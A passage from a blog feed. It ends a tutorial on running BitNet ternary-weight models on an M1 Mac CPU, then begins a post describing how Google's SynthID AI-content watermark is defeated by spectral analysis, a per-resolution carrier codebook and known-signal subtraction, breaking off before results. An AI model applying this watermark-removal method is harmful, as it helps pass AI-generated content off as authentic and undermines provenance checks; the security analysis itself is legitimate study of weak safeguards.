Here is the gotcha most tutorials skip. The &lt;code&gt;--hf-repo&lt;/code&gt; list in &lt;code&gt;setup_env.py&lt;/code&gt; advertises &lt;code&gt;microsoft/BitNet-b1.58-2B-4T&lt;/code&gt; as a valid option, but the vendored &lt;code&gt;convert-hf-to-gguf-bitnet.py&lt;/code&gt; only registers &lt;code&gt;LLaMAForCausalLM&lt;/code&gt;, &lt;code&gt;LlamaForCausalLM&lt;/code&gt;, &lt;code&gt;MistralForCausalLM&lt;/code&gt;, and &lt;code&gt;MixtralForCausalLM&lt;/code&gt;. The official Microsoft 2B-4T model (released April 2025) uses a newer architecture string, &lt;code&gt;BitNetForCausalLM&lt;/code&gt;, that the script predates. The older &lt;code&gt;1bitLLM/*&lt;/code&gt; series uses Llama-style naming, so the converter handles those.&lt;/p&gt;
&lt;p&gt;The fix is to pick a compatible model. &lt;code&gt;1bitLLM/bitnet_b1_58-3B&lt;/code&gt; is a 3.3B-parameter BitNet b1.58 from the pre-Microsoft-official training run. Same architecture thesis, different (older) release train.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rm -rf models/BitNet-b1.58-2B-4T  # free ~1.5 GB
python setup_env.py -hr 1bitLLM/bitnet_b1_58-3B -q i2_s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output after roughly 5 minutes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INFO:root:Compiling the code using CMake.
INFO:root:Downloading model 1bitLLM/bitnet_b1_58-3B from HuggingFace to models/bitnet_b1_58-3B...
INFO:root:Converting HF model to GGUF format...
INFO:root:GGUF model saved at models/bitnet_b1_58-3B/ggml-model-i2_s.gguf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The quantized GGUF clocks in at &lt;strong&gt;874 MB&lt;/strong&gt;. That&apos;s a 3.3B-parameter model squeezed to 2.20 bits per weight. &lt;code&gt;i2_s&lt;/code&gt; is the native CPU format for x86 and ARM. The other CLI option, &lt;code&gt;tl1&lt;/code&gt;, is an alternative CPU kernel layout. For Apple Silicon, &lt;code&gt;i2_s&lt;/code&gt; is the right call.&lt;/p&gt;
&lt;h2&gt;Your First Inference Run&lt;/h2&gt;
&lt;p&gt;Moment of truth. The &lt;code&gt;run_inference.py&lt;/code&gt; flags, pulled from &lt;code&gt;--help&lt;/code&gt; (which corrected something in my notes: &lt;code&gt;-p&lt;/code&gt; is the actual prompt text, not a token count):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python run_inference.py \
  -m models/bitnet_b1_58-3B/ggml-model-i2_s.gguf \
  -p &quot;Explain ternary weights in one paragraph:&quot; \
  -n 200 \
  -t 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-n&lt;/code&gt; is tokens to generate, &lt;code&gt;-t&lt;/code&gt; is thread count. I started with 4, matching what I thought were the M1 Pro&apos;s performance cores. More on that in a minute.&lt;/p&gt;
&lt;p&gt;The output streams, llama.cpp prints a stats footer at the end:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;llama_perf_context_print:        load time =     251.20 ms
llama_perf_context_print: prompt eval time =     617.10 ms / 12 tokens  (51.43 ms/tok, 19.45 tok/s)
llama_perf_context_print:        eval time =   10041.44 ms / 199 runs   (50.46 ms/tok, 19.82 tok/s)
llama_perf_context_print:       total time =   10670.45 ms / 211 tokens
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;19.82 tokens per second.&lt;/strong&gt; A 3.3B-parameter language model. On four CPU cores. With no GPU involvement. At this point a normal person would say &quot;no GPU? really?&quot; and open Activity Monitor.&lt;/p&gt;
&lt;h2&gt;Wait, Why Isn&apos;t My GPU Being Used?&lt;/h2&gt;
&lt;p&gt;Because that is the whole point. Here is the damning line from the model load output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;llm_load_tensors: offloading 0 repeating layers to GPU
llm_load_tensors: offloaded 0/27 layers to GPU
llm_load_tensors:        CPU buffer size =   873.66 MiB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zero of twenty-seven layers went to the GPU. Every tensor, every matrix, every computation runs on CPU. The log also shows &lt;code&gt;ggml_metal_init: found device: Apple M1 Pro&lt;/code&gt; earlier, which confused me at first. llama.cpp initializes the Metal backend by default on Apple Silicon; it just never offloads anything to it when the quantization format is CPU-targeted.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cpu_but_not_that_much.png&quot; alt=&quot;Activity Monitor GPU History window flat and empty during BitNet inference, confirming zero GPU involvement&quot; /&gt;&lt;/p&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] */}
The &lt;code&gt;i2_s&lt;/code&gt; quantization is specifically a CPU format. BitNet&apos;s thesis, explained in detail in the &lt;a href=&quot;/blog/bitnet-b158-1-bit-llm&quot;&gt;explainer post on BitNet b1.58&lt;/a&gt;, replaces matrix multiplications with integer additions on ternary weights. GPUs are built for parallel floating-point math. They hand you nothing extra when the operation is already addition. ARM NEON, by contrast, does packed 8-bit and 16-bit integer math at phenomenal energy efficiency per watt. BitNet was engineered around that.&lt;/p&gt;
&lt;p&gt;For GPU execution of BitNet you need the &lt;code&gt;TQ1_0&lt;/code&gt; or &lt;code&gt;TQ2_0&lt;/code&gt; quantization formats (Vulkan backend), or a separate open-source project called &lt;a href=&quot;https://github.com/Kamyhash/0xBitNet&quot;&gt;0xBitNet&lt;/a&gt; that implements custom WGSL compute kernels for the browser. Same model family, different silicon, different tradeoffs.&lt;/p&gt;
&lt;h2&gt;How Fast Can It Actually Go?&lt;/h2&gt;
&lt;p&gt;{/* [ORIGINAL DATA] */}
The M1 Pro has 8 logical cores, split asymmetrically: 6 performance cores and 2 efficiency cores on my 8-core variant. Threading a workload across both kinds rarely behaves how you&apos;d expect. I ran the same prompt at &lt;code&gt;-t 2&lt;/code&gt;, &lt;code&gt;-t 4&lt;/code&gt;, &lt;code&gt;-t 6&lt;/code&gt;, and &lt;code&gt;-t 8&lt;/code&gt; to map the scaling curve:&lt;/p&gt;
&lt;p&gt;&amp;lt;ThreadScalingChart client:visible /&amp;gt;&lt;/p&gt;
&lt;p&gt;The shape is almost comical. From 2 threads to 6 threads, throughput more than doubles. That&apos;s near-linear scaling across the performance cores. Then at 8 threads, adding the two efficiency cores, throughput &lt;em&gt;halves&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why the collapse?&lt;/strong&gt; llama.cpp&apos;s threadpool runs synchronous barriers between compute steps. Every step waits for the slowest worker to finish. Efficiency cores on Apple Silicon run at a fraction of the performance-core speed, roughly a quarter in power-saving modes. Two slow workers holding up six fast ones turns into a queue where the fast cores spend most of their time idle. More threads is worse than fewer when the threads have unequal throughput.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cpu_peaking.png&quot; alt=&quot;Activity Monitor CPU history showing all eight M1 Pro cores active with Performance and Efficiency labels visible; tokens-per-second counters visible at the bottom&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sweet spot for the 8-core M1 Pro: &lt;code&gt;-t 6&lt;/code&gt;.&lt;/strong&gt; If you&apos;re on a different chip, match thread count to your P-core count:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;M1 or M1 base (4P+4E): &lt;code&gt;-t 4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;M1 Pro 10-core (8P+2E): &lt;code&gt;-t 8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;M1 Max, M2 Pro with 8P+4E: &lt;code&gt;-t 8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;M3, M4 Max: match P-cores&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can I Actually Chat With It?&lt;/h2&gt;
&lt;p&gt;Sort of, and the journey there is instructive. &lt;code&gt;run_inference.py&lt;/code&gt; has a &lt;code&gt;-cnv&lt;/code&gt; flag for interactive chat. I tried it with the 3B model:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python run_inference.py \
  -m models/bitnet_b1_58-3B/ggml-model-i2_s.gguf \
  -p &quot;You are a helpful assistant.&quot; \
  -n 200 -t 6 -cnv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And got this parade of nonsense:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; what is transurfing?
what is transurfing?
&amp;lt;|im_end|&amp;gt;
&amp;lt;|im_start|&amp;gt;user
what is transurfing?
&amp;lt;|im_end|&amp;gt;
&amp;lt;|im_start|&amp;gt;assistant
what is transurfing?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not a conversation. The model just echoed my question back, wrapped in chat-template markers, forever.&lt;/p&gt;
&lt;p&gt;{/* [PERSONAL EXPERIENCE] */}
Two problems conspired. First, &lt;code&gt;1bitLLM/bitnet_b1_58-3B&lt;/code&gt; is a &lt;strong&gt;base model&lt;/strong&gt;. No &lt;code&gt;-Instruct&lt;/code&gt; suffix, trained on raw next-token prediction, no fine-tuning on conversation data. Second, &lt;code&gt;-cnv&lt;/code&gt; auto-picked a ChatML template (&lt;code&gt;&amp;lt;|im_start|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|im_end|&amp;gt;&lt;/code&gt;), but the model&apos;s vocabulary contains none of those tokens. Only &lt;code&gt;&amp;lt;s&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;/s&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;unk&amp;gt;&lt;/code&gt;. When llama.cpp wrapped my input in those markers, the model treated them as novel character sequences and did the one thing it knows: continue the pattern it sees. Hence the infinite loop of &quot;user says X, assistant says X.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix&lt;/strong&gt;: use an instruct-tuned BitNet model. The &lt;code&gt;--hf-repo&lt;/code&gt; list includes &lt;a href=&quot;https://huggingface.co/tiiuae&quot;&gt;TII&apos;s Falcon3 series&lt;/a&gt;, which ship with proper chat-template metadata embedded in the GGUF:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python setup_env.py -hr tiiuae/Falcon3-1B-Instruct-1.58bit -q i2_s
python run_inference.py \
  -m models/Falcon3-1B-Instruct-1.58bit/ggml-model-i2_s.gguf \
  -p &quot;You are a helpful assistant.&quot; \
  -n 200 -t 6 -cnv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This time llama.cpp reads Falcon3&apos;s embedded template (&lt;code&gt;&amp;lt;|system|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|user|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|assistant|&amp;gt;&lt;/code&gt;, not ChatML) and actually works. Sample exchange, lightly edited:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; What is transurfing?
Transferring to a user&apos;s account is a way to make money by using a person&apos;s
identity and assets to make a transaction.

&amp;gt; No, tell me a joke.
Why don&apos;t we ever tell secrets on a farm? Because the potatoes have eyes,
the corn has ears, and the beans stalk.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A 1-billion-parameter model with ternary weights on CPU. It nailed a classic joke, then cheerfully hallucinated a wire-fraud definition for a New-Age philosophy term. That is the honest picture: &lt;strong&gt;small, local, free, private, and confidently wrong when pushed outside its training&lt;/strong&gt;. For a privacy-first assistant or an offline scratchpad, that tradeoff is often exactly what you want.&lt;/p&gt;
&lt;h2&gt;What to Try Next&lt;/h2&gt;
&lt;p&gt;A few threads to pull on once the basics work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Different thread counts&lt;/strong&gt; for your chip. The chart above is M1 Pro 8-core specific. Run the same prompt across your P-core range and plot your own curve&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bigger models&lt;/strong&gt;. &lt;code&gt;HF1BitLLM/Llama3-8B-1.58-100B-tokens&lt;/code&gt; is the 8B variant, more capable but slower. See if the scaling trap at &lt;code&gt;-t 8&lt;/code&gt; still applies or inverts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Other Falcon3 sizes&lt;/strong&gt; (3B, 7B, 10B) for chat quality comparisons&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;0xBitNet in the browser&lt;/strong&gt;. A separate open-source project runs the same model family on WebGPU instead of CPU, with zero installation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And if the ternary-weights mechanism still feels like magic, the &lt;a href=&quot;/blog/bitnet-b158-1-bit-llm&quot;&gt;BitNet b1.58 explainer&lt;/a&gt; unpacks why multiplications disappear, why adding zero to binary matters, and how an 8-bit integer scale factor is the only float left in the pipeline.&lt;/p&gt;
&lt;h2&gt;Troubleshooting&lt;/h2&gt;
&lt;p&gt;Quick reference for the five traps this tutorial hits, in the order they bite:&lt;/p&gt;
&lt;h3&gt;1. &lt;code&gt;pyenv local&lt;/code&gt; doesn&apos;t stick, and &lt;code&gt;python --version&lt;/code&gt; reports the wrong version&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;PYENV_VERSION&lt;/code&gt; in your environment beats &lt;code&gt;.python-version&lt;/code&gt; files. Either &lt;code&gt;unset PYENV_VERSION&lt;/code&gt; or create the venv with &lt;code&gt;~/.pyenv/versions/&amp;lt;version&amp;gt;/bin/python -m venv .venv&lt;/code&gt; directly.&lt;/p&gt;
&lt;h3&gt;2. &lt;code&gt;pip install -r requirements.txt&lt;/code&gt; errors with &quot;No matching distribution for torch~=2.2.1&quot;&lt;/h3&gt;
&lt;p&gt;Your venv is Python 3.13. torch 2.2.x has no 3.13 wheels. See #1.&lt;/p&gt;
&lt;h3&gt;3. &lt;code&gt;NotImplementedError: Architecture &apos;BitNetForCausalLM&apos; not supported!&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;You picked &lt;code&gt;microsoft/BitNet-b1.58-2B-4T&lt;/code&gt; or a similar newer release. The vendored converter hasn&apos;t been updated. Switch to &lt;code&gt;1bitLLM/bitnet_b1_58-3B&lt;/code&gt; or a Falcon3 variant.&lt;/p&gt;
&lt;h3&gt;4. Throughput drops when you add threads past the P-core count&lt;/h3&gt;
&lt;p&gt;Apple Silicon&apos;s efficiency cores run much slower than the performance cores. llama.cpp waits on all workers, so the slowest hold back the rest. Cap threads at your P-core count.&lt;/p&gt;
&lt;h3&gt;5. Chat mode (&lt;code&gt;-cnv&lt;/code&gt;) just repeats your question&lt;/h3&gt;
&lt;p&gt;You&apos;re using a base model. Switch to an instruct-tuned variant (anything with &lt;code&gt;-Instruct&lt;/code&gt; in the name).&lt;/p&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3&gt;Does BitNet actually use the GPU on Apple Silicon?&lt;/h3&gt;
&lt;p&gt;No. With the &lt;code&gt;i2_s&lt;/code&gt; quantization format (the default for CPU inference), zero layers get offloaded to Metal. The entire model and KV cache live in CPU memory, and every matrix operation runs on CPU threads. On my M1 Pro that was 0/27 layers for the 3B model and 0/19 for the 1B Falcon3. GPU execution of BitNet requires &lt;code&gt;TQ1_0&lt;/code&gt; or &lt;code&gt;TQ2_0&lt;/code&gt; formats with a Vulkan backend, or a WebGPU project like 0xBitNet. Neither is bitnet.cpp&apos;s default path.&lt;/p&gt;
&lt;h3&gt;How much RAM does a 3B BitNet model actually need?&lt;/h3&gt;
&lt;p&gt;The quantized model itself is 874 MB on disk and loads into a CPU buffer of the same size. The KV cache adds 650 MB at 2048 context length (f16, not quantized in this setup). Total runtime footprint: roughly 1.5 GB. For comparison, an FP16 3B model would need around 6 GB just for weights. That&apos;s a 4x memory reduction before accounting for the KV cache.&lt;/p&gt;
&lt;h3&gt;Can I run BitNet on an Intel Mac or an older M-series?&lt;/h3&gt;
&lt;p&gt;Intel Macs lack the ARM NEON and Apple Matrix coprocessor paths BitNet leans on. Inference will run but performance won&apos;t match the numbers in this post. Any Apple Silicon chip (M1 through M4, including the base M1 with 4P+4E cores) works well, though thread-count sweet spots shift with the core layout. An M1 base delivers roughly half the tokens/s of my M1 Pro at the same thread count.&lt;/p&gt;
&lt;h3&gt;Why pick an older 1bitLLM model over the official Microsoft 2B-4T?&lt;/h3&gt;
&lt;p&gt;The bitnet.cpp conversion script doesn&apos;t yet support the &lt;code&gt;BitNetForCausalLM&lt;/code&gt; architecture string that Microsoft&apos;s April 2025 release uses. The older &lt;code&gt;1bitLLM/bitnet_b1_58-3B&lt;/code&gt; uses Llama-architecture naming, which the script handles. You trade a slightly less polished model for a tutorial that actually completes. When the converter catches up, the official model becomes a drop-in swap.&lt;/p&gt;
&lt;h3&gt;Is bitnet.cpp a better fit than Ollama or LM Studio for local LLMs?&lt;/h3&gt;
&lt;p&gt;Different tools, different goals. Ollama and LM Studio are general-purpose local-LLM runners that abstract model selection and serving. bitnet.cpp is narrow: it runs BitNet-family models specifically, with the custom kernels the quantization needs. If you want to try BitNet on your Mac today, bitnet.cpp is the shortest path. For mixed-model exploration, Ollama is friendlier.&lt;/p&gt;
&lt;h2&gt;Closing&lt;/h2&gt;
&lt;p&gt;Ten minutes of setup (fifteen if you hit every gotcha in this post) gets you a real language model running on CPU in under 1 GB of RAM. No API keys, no network egress, no GPU busy-loop draining the battery. The engineering behind it (ternary weights turning multiplications into additions) is covered in the &lt;a href=&quot;/blog/bitnet-b158-1-bit-llm&quot;&gt;explainer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you ran the benchmark on a different Mac and got different numbers, I&apos;d love to see the curve. Share your &lt;code&gt;-t 2 / -t 4 / ... / -t N&lt;/code&gt; tokens/s values. The shape of the scaling cliff is chip-specific, and a community plot across M1/M2/M3/M4 would be genuinely useful reference material.&lt;/p&gt;
</content:encoded></item><item><title>How SynthID Was Broken: Three Attacks That Defeated Google&apos;s AI Watermark</title><link>https://didof.dev/blog/how-synthid-was-broken/</link><guid isPermaLink="true">https://didof.dev/blog/how-synthid-was-broken/</guid><description>Researchers broke Google&apos;s SynthID watermark 3 ways. Spectral analysis drops detection by 91.4%, diffusion re-nosing overwrites it, and synonym swaps defeat text marking.</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Mermaid from &quot;@/components/mermaid.astro&quot;;&lt;/p&gt;
&lt;p&gt;Google built SynthID to be the invisible proof that an image, audio clip, or text passage came from an AI. Shipped inside Gemini, Imagen, and Veo, it was supposed to solve the deepfake problem at the source. Tag every piece of AI content at the moment of creation, and the provenance question answers itself.&lt;/p&gt;
&lt;p&gt;Within months, independent researchers proved it can be defeated three different ways. One extracts the watermark&apos;s frequencies with signal processing. Another overwrites it using a second round of AI generation. The third just swaps a few words.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SynthID uses a fixed phase template per model with 99.5%+ cross-image consistency, which acts as an extractable key&lt;/li&gt;
&lt;li&gt;Spectral analysis can surgically remove the watermark with a 91.4% phase coherence drop while keeping 43+ dB PSNR (visually imperceptible)&lt;/li&gt;
&lt;li&gt;A low-denoise diffusion pass with edge guidance overwrites the watermark at the pixel level without altering composition&lt;/li&gt;
&lt;li&gt;Text watermarks break under simple synonym substitution because they depend on exact word sequences&lt;/li&gt;
&lt;li&gt;Invisible watermarks are useful speed bumps, not security boundaries. Cryptographic approaches like C2PA fill the gap.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;How Does SynthID Work?&lt;/h2&gt;
&lt;p&gt;SynthID operates as a dual-model system: an embedding model injects the watermark, and a detection model reads it back. For images, the embedding model introduces a sub-visible pixel color shift distributed across the entire image at specific frequency bins. Your eyes cannot see it. A Fourier transform can.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart LR
subgraph Generation
direction TB
Prompt[&quot;🖊️ User Prompt&quot;] e1@--&amp;gt; Model[&quot;🤖 AI Model&quot;]
Model e2@--&amp;gt; Embedder[&quot;🔏 SynthID Embedder&quot;]
Embedder e3@--&amp;gt; Output[&quot;🖼️ Watermarked Output&quot;]
end&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;subgraph Detection
    direction TB
    Suspect[&quot;🖼️ Suspect Image&quot;] e4@--&amp;gt; Detector[&quot;🔍 SynthID Detector&quot;]
    Detector e5@--&amp;gt; FFT[&quot;📊 Fourier Transform&quot;]
    FFT --&amp;gt; Check{&quot;Carrier frequencies\npresent?&quot;}
    Check -- Yes --&amp;gt; AI[&quot;✅ AI-Generated&quot;]
    Check -- No --&amp;gt; Unknown[&quot;❓ Not Detected&quot;]
end

Output -.-&amp;gt;|&quot;shared on web&quot;| Suspect

e1@{ animate: true }
e2@{ animate: true }
e3@{ animate: true }
e4@{ animate: true }
e5@{ animate: true }`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;p&gt;I made a video breaking down the mechanics of how SynthID works, particularly for text watermarking:&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe
width=&quot;100%&quot;
height=&quot;400&quot;
src=&quot;https://www.youtube-nocookie.com/embed/IFDTiwyWsKA&quot;
title=&quot;How SynthID Works - Francesco Di Donato&quot;
frameborder=&quot;0&quot;
allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot;
allowfullscreen
loading=&quot;lazy&quot;
style=&quot;aspect-ratio: 16/9; border-radius: 8px; margin: 1rem 0;&quot;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For images, the watermark lives in the frequency domain. The embedding model picks specific carrier frequencies and shifts pixel values at those positions. The detection model runs a Fourier transform on a suspect image and checks whether those frequencies carry the expected pattern.&lt;/p&gt;
&lt;p&gt;For text, SynthID takes a different approach. It uses a sliding window of previous words combined with a private key to alter the probability distribution of the next token. Instead of always picking the most likely word, the model nudges its choices in a pattern that the detector can recognize statistically. The text reads naturally, but the word choices carry an invisible signature.&lt;/p&gt;
&lt;p&gt;The design is clever. The watermark survives JPEG compression, cropping, and moderate color adjustments. Google positioned it as resistant to &quot;common modifications.&quot; If you&apos;ve read about &lt;a href=&quot;/blog/penetration-and-security-in-javascript&quot;&gt;penetration testing and security thinking in software&lt;/a&gt;, you&apos;ll recognize the pattern: the question is never whether a system can be broken, but how much effort it takes. Researchers did not limit themselves to common modifications.&lt;/p&gt;
&lt;h2&gt;Why Is a 99.5% Consistent Phase Template a Problem?&lt;/h2&gt;
&lt;p&gt;The fundamental vulnerability comes down to one design choice: every image generated by the same model carries the same watermark phase template. Cross-image phase coherence exceeds 99.5% at the carrier frequencies (&lt;a href=&quot;https://github.com/zDarkHaze/reverse-synthid&quot;&gt;zDarkHaze/reverse-synthid&lt;/a&gt;). The green channel carries the strongest signal.&lt;/p&gt;
&lt;p&gt;Think about what that means. If you can isolate the watermark from a single image, you have effectively extracted the key for every image that model will ever produce. It is not a per-image secret. It is a per-model constant.&lt;/p&gt;
&lt;p&gt;Here is what the watermark looks like when amplified 500x. Invisible to the naked eye, but a clear structured pattern under analysis:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/zDarkHaze/reverse-synthid/raw/main/artifacts/visualizations/synthid_watermark_amp500x.png&quot; alt=&quot;SynthID watermark pattern amplified 500x, revealing structured carrier frequencies invisible to the human eye&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;https://github.com/zDarkHaze/reverse-synthid&quot;&gt;zDarkHaze/reverse-synthid&lt;/a&gt; — watermark amplified 500x&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The carrier frequencies also shift position depending on image resolution. A 1024x1024 image places its primary carrier at frequency bin (9, 9). A 1536x2816 image moves it to bin (768, 704). Different resolutions, different locations. But the phase template at those locations? Identical.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart TB
subgraph res1[&quot;📐 1024 × 1024&quot;]
direction LR
Low[&quot;Low-frequency grid&quot;]
Bin1[&quot;Top carrier: bin (9, 9)&quot;]
Low --&amp;gt; Bin1
end&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;subgraph res2[&quot;📐 1536 × 2816&quot;]
    direction LR
    High[&quot;High-frequency region&quot;]
    Bin2[&quot;Top carrier: bin (768, 704)&quot;]
    High --&amp;gt; Bin2
end

Bin1 -.- Same{&quot;🔑 Same phase template\n99.5%+ coherence&quot;}
Bin2 -.- Same

Same --&amp;gt; Vuln[&quot;⚠️ Extract once → break all images\nfrom that model&quot;]`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;p&gt;This is a classic trade-off in watermarking systems. A fixed template makes detection reliable and fast. You know exactly what to look for. But it also means an attacker knows exactly what to look for. Once extracted, the watermark becomes a known signal that can be subtracted.&lt;/p&gt;
&lt;h2&gt;Attack 1: How Does Spectral Analysis Strip the Watermark?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/zDarkHaze/reverse-synthid&quot;&gt;reverse-synthid&lt;/a&gt; project (forked from aloshdenny/reverse-SynthID) takes the most surgical approach. Instead of degrading the image or regenerating it, it identifies the exact frequencies making up the watermark and directly subtracts them.&lt;/p&gt;
&lt;h3&gt;Extracting the Fingerprint&lt;/h3&gt;
&lt;p&gt;The extraction is almost embarrassingly simple. Generate a pure black image and a pure white image through the watermarked model. In these outputs, the watermark represents nearly the entire pixel content, since the &quot;image&quot; itself is a flat color. Run a Fourier transform, and the carrier frequencies light up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/zDarkHaze/reverse-synthid/raw/main/artifacts/visualizations/synthid_watermark_spectrum.png&quot; alt=&quot;Frequency spectrum analysis of a SynthID watermarked image showing carrier frequency peaks&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;https://github.com/zDarkHaze/reverse-synthid&quot;&gt;zDarkHaze/reverse-synthid&lt;/a&gt; — frequency spectrum of a watermarked image&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For higher resolutions where black/white images are not available, the researchers averaged the frequency content of 88 diverse watermarked images. The image content averages out to noise. The watermark, being identical across all 88, remains as a clear fixed pattern.&lt;/p&gt;
&lt;h3&gt;The Spectral Codebook&lt;/h3&gt;
&lt;p&gt;Because the watermark shifts frequency positions at different resolutions, a single filter cannot work universally. The solution is a multi-resolution Spectral Codebook: a file storing exact carrier positions, magnitudes, and phases per resolution. When processing an image, the system looks up the matching resolution profile and applies the correct subtraction pattern.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/zDarkHaze/reverse-synthid/raw/main/artifacts/visualizations/synthid_watermark_carriers.png&quot; alt=&quot;SynthID carrier frequency structure showing the positions targeted by the Spectral Codebook&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;https://github.com/zDarkHaze/reverse-synthid&quot;&gt;zDarkHaze/reverse-synthid&lt;/a&gt; — carrier frequency structure&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;The Subtraction Process&lt;/h3&gt;
&lt;p&gt;The V3 bypass uses direct known-signal subtraction. No Wiener filter, no approximation.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart TB
subgraph extract[&quot;🔬 Phase 1: Extract&quot;]
direction TB
Black[&quot;⬛ Generate black image&quot;] e1@--&amp;gt; FFT1[&quot;FFT&quot;]
White[&quot;⬜ Generate white image&quot;] e2@--&amp;gt; FFT1
FFT1 e3@--&amp;gt; Carriers[&quot;📍 Map carrier positions\n+ magnitudes + phases&quot;]
end&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;subgraph codebook[&quot;📖 Phase 2: Build Codebook&quot;]
    direction TB
    Carriers --&amp;gt; CB[&quot;Spectral Codebook&quot;]
    CB --&amp;gt; R1[&quot;1024×1024 profile&quot;]
    CB --&amp;gt; R2[&quot;1536×2816 profile&quot;]
    CB --&amp;gt; RN[&quot;... more resolutions&quot;]
end

subgraph remove[&quot;🗑️ Phase 3: Subtract&quot;]
    direction TB
    Target[&quot;🖼️ Target image&quot;] e4@--&amp;gt; Confidence[&quot;1. Confidence scoring\nphase_consistency × cross_validation&quot;]
    Confidence e5@--&amp;gt; DC[&quot;2. DC exclusion\nsoft ramp filter&quot;]
    DC e6@--&amp;gt; Sub[&quot;3. Per-bin subtraction\nwm_mag × conf × frac × channel_wt&quot;]
    Sub e7@--&amp;gt; Cap[&quot;4. Safety cap\nmax 90-95% energy removal&quot;]
    Cap e8@--&amp;gt; Multi[&quot;5. Multi-pass schedule\naggressive → moderate → gentle&quot;]
    Multi e9@--&amp;gt; Clean[&quot;🖼️ Clean image\n91.4% coherence drop · 43+ dB PSNR&quot;]
end

codebook --&amp;gt; remove

e1@{ animate: true }
e2@{ animate: true }
e3@{ animate: true }
e4@{ animate: true }
e5@{ animate: true }
e6@{ animate: true }
e7@{ animate: true }
e8@{ animate: true }
e9@{ animate: true }`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;p&gt;The channel weights match SynthID&apos;s embedding strength exactly. The attack knows how much energy was put into each color channel and calibrates its subtraction accordingly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green&lt;/strong&gt;: weight 1.0 (strongest signal)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red&lt;/strong&gt;: weight 0.85&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blue&lt;/strong&gt;: weight 0.70&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The Result&lt;/h3&gt;
